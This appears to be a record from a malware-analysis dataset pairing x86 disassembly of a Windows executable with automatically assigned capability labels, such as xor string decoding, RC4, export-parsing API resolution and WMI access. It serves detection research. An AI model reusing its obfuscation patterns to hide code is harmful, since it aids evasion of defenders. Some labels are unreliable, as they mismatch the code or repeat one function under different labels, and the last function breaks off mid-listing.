joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408a30
Capabilities:
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
call fcn.00437790
test al, al
je 0x408c76
call fcn.00430880
test al, al
je 0x408c71
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
mov ebp, 0x1aaba78d
mov eax, 0xffdb51fa
shrd eax, ebp, cl
shr ebp, cl
test cl, 0x20
je 0x408a71
mov eax, ebp
xor ebp, ebp
mov dword [esp + 0xc], eax
mov ecx, eax
xor ecx, 0xffdb51fa
mov esi, ebp
xor esi, 0x1aaba78d
mov eax, ecx
and eax, 0xa73312a
mov dword [esp + 8], eax
mov edx, esi
and edx, 0x280a2e5
mov dword [esp + 4], edx
mov edx, ecx
or edx, 0xa73312a
mov ebx, esi
or ebx, 0x280a2e5
mov edi, ebx
shld edi, ecx, 1
lea eax, [edx + edx]
not eax
add eax, edx
not edi
adc edi, ebx
mov edx, dword [esp + 4]
imul edx, eax
mov dword [esp + 4], edx
mov ebx, dword [esp + 8]
mul ebx
mov dword [esp], eax
add edx, dword [esp + 4]
imul edi, ebx
add edi, edx
mov eax, dword [esp + 0xc]
xor eax, 0xf5a860d0
xor ebp, 0x182b0568
or ecx, 0xf58cced5
or esi, 0xfd7f5d1a
and eax, ecx
and ebp, esi
imul esi, eax
mul ecx
imul ebp, ecx
add ebp, edx
add ebp, esi
add eax, dword [esp]
mov dword [esp + 4], eax
adc ebp, edi
mov edi, ebp
shld edi, eax, 0xb
mov dword [esp], edi
mov ebx, ebp
shr ebx, 0x15
mov dword [esp + 0xc], ebx
and ebx, ebp
and edi, eax
mov edx, edi
and edx, 0xfffffffd
mov ecx, edi
and ecx, 2
mov eax, ecx
xor eax, 2
mov esi, eax
imul esi, ebx
mul edx
mov dword [esp + 8], eax
or edx, esi
mov esi, edx
or edi, 2
mov eax, edi
mul ecx
imul ebx, ecx
or edx, ebx
add eax, dword [esp + 8]
adc edx, esi
mov edi, edx
not edi
mov ecx, dword [esp + 0xc]
and edi, ecx
not ecx
and ecx, edx
mov edx, ecx
mov esi, eax
not esi
mov ecx, dword [esp]
and esi, ecx
not ecx
and ecx, eax
sub esi, ecx
sbb edi, edx
add esi, dword [esp + 4]
adc edi, ebp
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x408c32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 4], eax
mov ebx, esi
and ebx, 0xe98c51a3
mov ebp, ebx
xor ebp, 0xe98c51a3
mov ecx, esi
and ecx, 0x1673ae5c
mov eax, ebp
mul ecx
mov dword [esp], eax
mov eax, edi
and eax, 0x1b4133a0
imul eax, ebp
add edx, eax
mov ebp, edx
mov edx, edi
and edx, 0xe4becc5f
or esi, 0xe98c51a3
mov eax, esi
imul esi, edx
xor edx, 0xe4becc5f
imul ecx, edx
mul ebx
add ecx, ebp
add esi, edx
or edi, 0xe4becc5f
imul edi, ebx
add edi, esi
add eax, dword [esp]
adc edi, ecx
mov edx, eax
mov esi, eax
mov ecx, dword [esp + 4]
shrd esi, edi, cl
mov ebp, edi
mov eax, ecx
shr ebp, cl
test al, 0x20
je 0x408c0b
mov esi, ebp
xor ebp, ebp
mov ebx, esi
mov dword [esp], edx
and ebx, edx
mov eax, ebp
and eax, edi
mov ecx, eax
shld ecx, ebx, 1
lea edx, [ebx + ebx]
not edx
add edx, ebx
not ecx
adc ecx, eax
or esi, dword [esp]
and esi, edx
or ebp, edi
and ebp, ecx
mov edi, ebp
mov eax, edi
and eax, 0xfefefefe
mov ecx, esi
and ecx, 0xfefefefe
mov edx, edi
xor edx, 0x1010101
mov ebx, esi
xor ebx, 0x1010101
add ebx, esi
adc edx, edi
sub ebx, ecx
sbb edx, eax
push edx
push ebx
call fcn.00409d80
add esp, 8
test al, al
je 0x408c71
call fcn.0040c900
call fcn.0040b6e0
call fcn.00439430
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408c80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x270
xor edx, edx
mov esi, SysReAllocString
mov ebp, dword [ecx + eax*4 + 4]
and ebp, esi
mov edi, edx
and edi, 2
mov ebx, eax
xor ebx, 1
add ebx, edi
mov ebx, dword [ecx + ebx*4 + 4]
mov edi, ebx
and edi, 0x7ffffffe
or edi, ebp
shr edi, 1
and ebx, 1
neg ebx
and ebx, 0x9908b0df
xor edi, dword [ecx + eax*4 + 0x638]
xor edi, ebx
mov dword [ecx + eax*4 - 0x9bc], edi
inc eax
add edx, 2
cmp eax, 0x353
jne 0x408c90
mov esi, dword [ecx + 0xd50]
mov eax, 0x355
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and esi, 0x80000000
mov edi, dword [ecx + eax*4]
mov edx, edi
and edx, 0x7ffffffe
or edx, esi
shr edx, 1
mov esi, edi
and edi, 1
neg edi
and edi, 0x9908b0df
xor edi, edx
mov edx, dword [ecx + eax*4 - 0xd50]
mov ebx, edi
and ebx, edx
add edi, edx
add ebx, ebx
sub edi, ebx
mov dword [ecx + eax*4 - 0x9c4], edi
inc eax
cmp eax, 0x4e1
jne 0x408cf0
mov esi, SysReAllocString
and esi, dword [ecx + 0x1380]
mov eax, dword [ecx + 4]
mov edx, eax
and edx, 0x7ffffffe
or edx, esi
shr edx, 1
and eax, 1
neg eax
and eax, 0x9908b0df
mov esi, edx
and esi, eax
add eax, edx
add esi, esi
sub eax, esi
xor eax, dword [ecx + 0x634]
mov dword [ecx + 0x9c0], eax
mov dword [ecx], 0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40a8a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
movzx ebx, byte [edx]
test bl, bl
je 0x40ab0c
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x1c]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0x40a8dc
cmp edx, esi
jae 0x40ab0c
test edi, edi
je 0x40ab0c
movzx ebp, bl
test bl, bl
js 0x40a910
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x24]
mov bh, byte [edx]
mov bl, bh
test bh, bh
jne 0x40a8d0
jmp 0x40ab0c
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0x40a94a
cmp bl, 0xc2
jb 0x40a900
mov bh, byte [edx + 1]
movzx esi, bh
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0x40a9bd
and ebp, 0x1f
shl ebp, 6
add edx, 2
and esi, 0x3f
jmp 0x40aa0d
mov ecx, ebp
or ecx, 0xf0
mov esi, ebp
xor esi, 0xffffff0f
and esi, ecx
cmp esi, 0xe0
jne 0x40a985
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0x40a9c7
cmp ebp, 0xe0
jne 0x40a9d0
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0x40a8fc
jmp 0x40a9d0
mov ecx, ebp
and ecx, 0xfffffff8
cmp ecx, 0xf0
jne 0x40aaeb
cmp bl, 0xf4
ja 0x40a8fc
movzx ecx, byte [edx + 1]
je 0x40aa1a
cmp ebp, 0xf0
jne 0x40aa23
mov bh, cl
add bh, 0x40
cmp bh, 0xd0
jb 0x40a8fc
jmp 0x40aa23
inc edx
mov esi, dword [esp + 0x24]
jmp 0x40a902
cmp cl, 0x9f
ja 0x40a8fc
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40aaf2
mov bh, byte [edx + 2]
movzx esi, bh
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40aaf8
and ecx, 0x3f
shl ecx, 6
shl ebp, 0xc
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
or esi, ebp
lea ecx, [eax + 2]
mov word [eax], si
jmp 0x40a8f2
cmp cl, 0x8f
ja 0x40a8fc
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40aaf2
mov bh, byte [edx + 2]
movzx ebp, bh
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0x40aaf8
mov dword [esp], ebp
movzx ebp, byte [edx + 3]
mov esi, ebp
not esi
or esi, 0xc0
add esi, ebp
cmp esi, 0x7f
jne 0x40ab04
and bl, 7
movzx esi, bl
shl esi, 0x12
and ecx, 0x3f
shl ecx, 0xc
or ecx, esi
mov esi, dword [esp]
and esi, 0x3f
shl esi, 6
or esi, ecx
add edx, 4
and ebp, 0x3f
or ebp, esi
cmp ebp, 0x10000
jb 0x40a8fc
mov ebx, esi
mov ecx, ebp
not ecx
or ecx, 0xfffff800
add ecx, ebp
inc ecx
cmp ecx, 0xd800
mov esi, dword [esp + 0x24]
je 0x40a900
cmp edi, 2
jb 0x40aaeb
add ebx, 0xf0000
shr ebx, 0xa
and ebx, 0x3ff
or ebx, 0xd800
mov word [eax], bx
and ebp, 0x3ff
or ebp, 0xdc00
lea ecx, [eax + 4]
mov word [eax + 2], bp
jmp 0x40a8f2
mov ecx, eax
jmp 0x40a8f2
inc edx
jmp 0x40a8fc
add edx, 2
mov esi, dword [esp + 0x24]
jmp 0x40a902
add edx, 3
jmp 0x40a8fc
mov word [eax], 0
sub eax, dword [esp + 0x18]
sar eax, 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b070
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x160
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov ebx, esp
push eax
mov dword [esi + 0x2c], esp
mov dword [esi + 0x68], 0
mov dword [esi + 0x64], 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0x3c
mov dword [esi + 0x44], 0xffffffff
mov dword [esi + 0x60], 0xffffffff
mov edx, 0xfffffffe
mov ecx, dword [0x449544]
nop
nop
nop
cmp word [eax + edx + 2], 0
lea edx, [edx + 2]
jne case.default.0x40b12e
sar edx, 1
lea edi, [esi + 0x30]
push edi
push 0
push edx
push eax
call ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x442f80]
xor eax, eax
jmp 0x40b6cf
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40b710
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x438
mov esi, dword [esp + 0x44c]
mov dword [esp + 0x38], 0x1fad19d5
mov dword [esp + 0x3c], 0xe34b1da2
mov dword [esp + 0x40], 0xe74ae14c
mov dword [esp + 0x44], 0xeb19e545
mov dword [esp + 0x48], 0xef1ce91d
mov dword [esp + 0x4c], 0xf312ed1c
mov dword [esp + 0x50], 0xf72df118
mov dword [esp + 0x54], 0xfb48f55d
mov dword [esp + 0x58], 0xff4df95c
mov dword [esp + 0x5c], 0xc375fd47
mov dword [esp + 0x60], 0xc714c120
mov dword [esp + 0x64], 0xcb2ac510
mov dword [esp + 0x68], 0xcf3ec939
mov dword [esp + 0x6c], 0xd322cd3e
mov dword [esp + 0x70], 0xd736d12f
mov dword [esp + 0x74], 0xdb73d50f
mov dword [esp + 0x78], 0xdf24d96a
mov dword [esp + 0x7c], 0xa35ddd28
mov dword [esp + 0x80], 0xa71ea140
mov dword [esp + 0x84], 0xab5ea55e
mov dword [esp + 0x88], 0xaf4ea941
mov dword [esp + 0x8c], 0xb302ad6d
mov dword [esp + 0x90], 0xb71ab100
mov dword [esp + 0x94], 0xbb61b511
mov dword [esp + 0x98], 0xbf18b91d
mov dword [esp + 0x9c], 0x832bbd73
mov dword [esp + 0xa0], 0x87758134
mov dword [esp + 0xa4], 0x8b7d8571
mov dword [esp + 0xa8], 0x8f7c8973
mov dword [esp + 0xac], 0x93688d7b
mov dword [esp + 0xb0], 0x977e9170
mov dword [esp + 0xb4], 0x9b52955b
mov dword [esp + 0xb8], 0x9f53994c
mov dword [esp + 0xbc], 0x638e9d50
mov dword [esp + 0xc0], 0x67ca6180
mov dword [esp + 0xc4], 0x6bc565cd
mov dword [esp + 0xc8], 0x6f8e69cd
mov dword [esp + 0xcc], 0x73d76da7
mov dword [esp + 0xd0], 0x77d971d7
mov dword [esp + 0xd4], 0x7b9375c7
mov dword [esp + 0xd8], 0x7fb97998
mov dword [esp + 0xdc], 0x43f47dd4
mov dword [esp + 0xe0], 0x47eb41f3
mov dword [esp + 0xe4], 0x4bb945e1
mov dword [esp + 0xe8], 0x4fbf49b9
mov dword [esp + 0xec], 0x53a04db5
mov dword [esp + 0xf0], 0x57a451a0
mov dword [esp + 0xf4], 0x5ba855a4
mov dword [esp + 0xf8], 0x5fbe59a8
mov dword [esp + 0xfc], 0x23835d8b
mov dword [esp + 0x100], 0x2787218a
mov dword [esp + 0x104], 0x2b832592
mov dword [esp + 0x108], 0x2fdb29db
mov dword [esp + 0x10c], 0x33c92ddb
mov dword [esp + 0x110], 0x37c131c2
mov dword [esp + 0x114], 0x3b3a35ce
mov byte [esp + 0x11a], 0
mov word [esp + 0x118], 0
mov eax, dword [0x449538]
lea ecx, [esp + 0x38]
mov edx, 0x8f63aa05
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
xor edi, 0x3b
mov ebp, edx
or ebp, 0xc4
and ebp, edi
lea ebx, [edx + 0x709c5600]
not ebx
and ebx, 0x3b
or ebx, ebp
xor bl, byte [ecx]
xor bl, 0xc4
add bl, 0x1e
mov byte [ecx], bl
inc ecx
dec edx
cmp edx, 0x8f63a922
jne 0x40b980
lea edi, [esp + 0x38]
push 0
push 0
push 0
push 0
push edi
call eax
mov ebx, eax
xor eax, eax
test ebx, ebx
setne al
mov eax, dword [eax*4 + 0x443010]
mov ecx, 0x130ee483
xor ecx, dword [0x443018]
add eax, ecx
inc eax
jmp eax
Function at 0x40c080
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x238
mov edi, dword [esp + 0x250]
mov dword [esp + 0x38], 0xc95bcb7f
mov dword [esp + 0x3c], 0xc551c74e
mov dword [esp + 0x40], 0xc156c350
mov dword [esp + 0x44], 0xbd6fbf5f
mov dword [esp + 0x48], 0xb968bb77
mov dword [esp + 0x4c], 0xb556b768
mov dword [esp + 0x50], 0xb11bb36c
mov dword [esp + 0x54], 0xad3caf27
mov dword [esp + 0x58], 0xa93bab30
mov dword [esp + 0x5c], 0xa52ba721
mov dword [esp + 0x60], 0xa110a344
mov dword [esp + 0x64], 0x9d7e9f0c
mov dword [esp + 0x68], 0x994a9b53
mov dword [esp + 0x6c], 0x9546974a
mov dword [esp + 0x70], 0x91729351
mov dword [esp + 0x74], 0x8d198f39
mov dword [esp + 0x78], 0x89408b1e
mov dword [esp + 0x7c], 0x85438744
mov dword [esp + 0x80], 0x810a8364
mov dword [esp + 0x84], 0x7db27f4a
mov dword [esp + 0x88], 0x799a7bab
mov dword [esp + 0x8c], 0x75e677c7
mov dword [esp + 0x90], 0x71e673e4
mov dword [esp + 0x94], 0x6dc76feb
mov dword [esp + 0x98], 0x69f46bf7
mov dword [esp + 0x9c], 0x65f167dd
mov dword [esp + 0xa0], 0x61b363e8
mov dword [esp + 0xa4], 0x5d935fab
mov dword [esp + 0xa8], 0x59885b95
mov dword [esp + 0xac], 0x559c5795
mov dword [esp + 0xb0], 0x518a53b4
mov dword [esp + 0xb4], 0x4df64fe5
mov dword [esp + 0xb8], 0x49f94be0
mov dword [esp + 0xbc], 0x459247fc
mov dword [esp + 0xc0], 0x41d643a4
mov dword [esp + 0xc4], 0x3dab3fd7
mov dword [esp + 0xc8], 0x39da3ba7
mov dword [esp + 0xcc], 0x35ad3781
mov dword [esp + 0xd0], 0x31a733a9
mov dword [esp + 0xd4], 0x2df92fa1
mov dword [esp + 0xd8], 0x29972bcc
mov dword [esp + 0xdc], 0x25a827b0
mov dword [esp + 0xe0], 0x21b123b5
mov dword [esp + 0xe4], 0x1dcf1fbb
mov dword [esp + 0xe8], 0x19d51bd3
mov dword [esp + 0xec], 0x15c417df
mov dword [esp + 0xf0], 0x11c013c4
mov dword [esp + 0xf4], 0xddc0fc0
mov dword [esp + 0xf8], 0x9ea0bdc
mov dword [esp + 0xfc], 0x59907a5
mov dword [esp + 0x100], 0x19d039e
mov dword [esp + 0x104], 0xfd69ff8e
mov dword [esp + 0x108], 0xf931fb2d
mov dword [esp + 0x10c], 0xf53ff735
mov dword [esp + 0x110], 0xf13ff326
mov dword [esp + 0x114], 0xedeeef3a
mov byte [esp + 0x11a], 0
mov word [esp + 0x118], 0
mov eax, dword [0x449538]
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb3
xor dl, byte [esp + ecx + 0x38]
add dl, 0x81
mov byte [esp + ecx + 0x38], dl
inc ecx
cmp ecx, 0xe3
jne 0x40c2e0
lea ebp, [esp + 0x38]
push 0
push 0
push 0
push 0
push ebp
call eax
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov eax, dword [eax*4 + 0x443268]
mov ecx, 0xd1339770
xor ecx, dword [0x443270]
add eax, ecx
inc eax
xor ebx, ebx
jmp eax
Function at 0x4130b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x308
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x4130d0
sar esi, 1
lea ecx, [esp + 0xd8]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x44a88c]
mov ebx, dword [esp + 0xd8]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41310a
mov eax, 0xffffffff
jmp 0x41310d
lea eax, [ebx + ebx]
push eax
call fcn.00408210
add esp, 4
lea ecx, [esp + 0xd8]
push ecx
push ebx
mov dword [esp + 0x38], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x44a88c]
mov eax, dword [esp + 0xd8]
mov ecx, eax
add ecx, 0xd
js 0x413148
lea edi, [eax*2 + 0x1a]
push edi
call fcn.00408210
add esp, 4
mov esi, eax
mov dword [esp + 0x148], 0x430e41fc
mov dword [esp + 0x14c], 0x47d545e5
mov dword [esp + 0x150], 0x4b2a49dc
mov dword [esp + 0x154], 0x4feb4dfa
mov dword [esp + 0x158], 0xb321b122
mov dword [esp + 0x15c], 0xb719b51d
mov dword [esp + 0x160], 0xbbbab916
mov eax, 0x56e59c0f
lea ecx, [esp + 0x148]
nop
nop
nop
nop
movzx edi, byte [ecx]
mov edx, eax
or edx, edi
lea ebx, [eax - 0x56e59c00]
and ebx, edi
not edx
or edx, ebx
mov edi, edx
xor edi, 0xb1
and edx, 0x4e
add edx, edx
sub edx, edi
inc dl
mov byte [ecx], dl
dec eax
inc ecx
cmp eax, 0x56e59bf3
jne 0x4131b0
mov eax, dword [esp + 0x30]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x413211
mov eax, dword [esp + 0x30]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x413200
mov word [eax], 0
movzx ecx, word [esp + 0x148]
test cx, cx
je 0x413241
lea edx, [esp + 0x14a]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x413230
mov word [eax], 0
lea eax, [esp + 0x38]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043ce20
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x443c58]
Function at 0x41d430
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [ebp + 8]
push eax
mov ebx, esp
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x41d450
cmp eax, 0xffffffed
jge 0x41d467
mov eax, 0xffffffff
jmp 0x41d46a
add eax, 0x12
push eax
call fcn.00408210
add esp, 4
mov esi, eax
mov dword [ebp - 0x24], 0x9ff0be8
mov dword [ebp - 0x20], 0x58107f3
mov dword [ebp - 0x1c], 0x13003c8
mov dword [ebp - 0x18], 0x1de01ffc
mov dword [ebp - 0x14], 0x1b1c
mov byte [ebp - 0x10], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x43
xor cl, byte [ebp + eax - 0x24]
add cl, 0xb1
mov byte [ebp + eax - 0x24], cl
inc eax
cmp eax, 0x15
jne 0x41d4a0
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x41d4e1
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x41d4d0
mov word [eax], 0
movzx ecx, word [ebp - 0x24]
test cx, cx
je 0x41d511
lea edx, [ebp - 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d500
mov word [eax], 0
push ebx
push esi
call fcn.0043cfd0
add esp, 8
mov edi, eax
mov ebx, dword [ebx]
jmp dword [0x444344]

Function at 0x41d43c
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov edi, dword [ebp + 8]
push eax
mov ebx, esp
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x41d450
cmp eax, 0xffffffed
jge 0x41d467
mov eax, 0xffffffff
jmp 0x41d46a
add eax, 0x12
push eax
call fcn.00408210
add esp, 4
mov esi, eax
mov dword [ebp - 0x24], 0x9ff0be8
mov dword [ebp - 0x20], 0x58107f3
mov dword [ebp - 0x1c], 0x13003c8
mov dword [ebp - 0x18], 0x1de01ffc
mov dword [ebp - 0x14], 0x1b1c
mov byte [ebp - 0x10], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x43
xor cl, byte [ebp + eax - 0x24]
add cl, 0xb1
mov byte [ebp + eax - 0x24], cl
inc eax
cmp eax, 0x15
jne 0x41d4a0
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x41d4e1
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x41d4d0
mov word [eax], 0
movzx ecx, word [ebp - 0x24]
test cx, cx
je 0x41d511
lea edx, [ebp - 0x22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41d500
mov word [eax], 0
push ebx
push esi
call fcn.0043cfd0
add esp, 8
mov edi, eax
mov ebx, dword [ebx]
jmp dword [0x444344]
Function at 0x422bd0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x19a61ba1
mov dword [esp + 0x58], 0xe549e7b3
mov dword [esp + 0x5c], 0xe110e357
mov dword [esp + 0x60], 0xed56ef4b
mov dword [esp + 0x64], 0xe9eaeb47
mov eax, 0x88caed7b
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x773512d9]
xor ecx, eax
mov edx, ecx
xor edx, 0x68
and ecx, 0x17
add ecx, ecx
sub ecx, edx
inc cl
mov byte [esp + eax + 0x773512d9], cl
inc eax
cmp eax, 0x88caed8f
jne 0x422c30
lea ebx, [esp + 0x54]
lea ecx, [esp + 0x34]
push ebx
call fcn.004361c0
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x444f4c]
Function at 0x42c620
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x2c0
mov dword [esp + 0x2a4], 0x445dcc
mov dword [esp + 0x88], 0
lea eax, [esp + 0x88]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x4405f0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x440600
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2a0], eax
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [eax + ecx*4]
mov ecx, dword [0x445dd4]
xor ecx, 0xa0969e50
sub eax, ecx
mov dword [esp + 0x29c], 0x445dd8
mov dword [esp + 0x294], 0x445de4
mov dword [esp + 0x28c], 0x445df0
mov dword [esp + 0x284], 0x445dfc
mov dword [esp + 0x27c], 0x445e08
mov dword [esp + 0x274], 0x445360
mov ecx, dword [0x445e14]
mov dword [esp + 0x154], ecx
mov dword [esp + 0x270], 0x445e1c
mov dword [esp + 0x268], 0x445e28
mov dword [esp + 0x260], 0x445e34
mov dword [esp + 0x258], 0x445360
mov ecx, dword [0x445e40]
mov dword [esp + 0x194], ecx
mov dword [esp + 0x254], 0x445360
mov ecx, dword [0x445e48]
mov dword [esp + 0x190], ecx
mov dword [esp + 0x250], 0x445e50
mov dword [esp + 0x248], 0x445e5c
mov dword [esp + 0x240], 0x445e68
mov dword [esp + 0x238], 0x445e74
mov dword [esp + 0x230], 0x445360
mov ecx, dword [0x445e80]
mov dword [esp + 0x18c], ecx
mov dword [esp + 0x22c], 0x445e88
mov dword [esp + 0x224], 0x445e94
mov dword [esp + 0x21c], 0x445ea0
mov dword [esp + 0x214], 0x445360
mov ecx, dword [0x445eac]
mov dword [esp + 0x184], ecx
mov dword [esp + 0x210], 0x445360
mov ecx, dword [0x445eb4]
mov dword [esp + 0x180], ecx
mov dword [esp + 0x20c], 0x445360
mov ecx, dword [0x445ebc]
mov dword [esp + 0x17c], ecx
mov dword [esp + 0x208], 0x445ec4
mov dword [esp + 0x200], 0x445ed0
mov dword [esp + 0x1f8], 0x445edc
mov dword [esp + 0x1f0], 0x445360
mov ecx, dword [0x445ee8]
mov dword [esp + 0x178], ecx
mov dword [esp + 0x1ec], 0x445360
mov ecx, dword [0x445ef0]
mov dword [esp + 0x174], ecx
mov dword [esp + 0x1e8], 0x445360
mov ecx, dword [0x445ef8]
mov dword [esp + 0x170], ecx
mov dword [esp + 0x1e4], 0x445f00
mov dword [esp + 0x1dc], 0x445360
mov ecx, dword [str.__2]
mov dword [esp + 0x188], ecx
mov dword [esp + 0x1d8], 0x445f14
mov dword [esp + 0x1d0], 0x445f20
mov dword [esp + 0x1c8], 0x445360
mov edx, dword [0x445f2c]
mov dword [esp + 0x1c4], 0x445360
mov ecx, dword [0x445f34]
mov dword [esp + 0x1c0], 0x445360
mov esi, dword [0x445f3c]
mov dword [esp + 0x1a4], esi
mov dword [esp + 0x1bc], 0x445360
mov esi, dword [0x445f44]
mov dword [esp + 0x1b8], 0x445360
mov ebx, dword [0x445f4c]
mov dword [esp + 0x16c], ebx
mov dword [esp + 0x1b4], 0x445360
mov ebx, dword [0x445f54]
mov dword [esp + 0x168], ebx
mov dword [esp + 0x1b0], 0x445360
mov ebx, dword [0x445f5c]
mov dword [esp + 0x164], ebx
mov dword [esp + 0x1ac], 0x445360
mov ebx, dword [0x445f64]
mov dword [esp + 0x160], ebx
mov dword [esp + 0x1a8], 0x445360
xor edi, edi
mov ebx, dword [0x445f6c]
mov dword [esp + 0x198], ebx
jmp eax
Function at 0x433480
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + edx], 0
lea edx, [edx + 2]
jne 0x4334a0
add edx, ecx
add edx, 0xfffffffe
mov esi, ecx
not esi
and esi, edx
mov edi, edx
xor edi, ecx
add esi, esi
mov dword [esp + 0xc], esi
mov edx, esi
mov dword [esp + 8], edi
sub edx, edi
mov dword [esp + 4], edx
mov dword [esp], 0xf2fefc69
mov ebx, 0x94c9e8d5
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + ebx + 0x6b36172b]
xor ebp, ebx
lea esi, [ebp*2]
and esi, 0x2010c1ac
xor ebp, 0x180e73d6
mov edi, esi
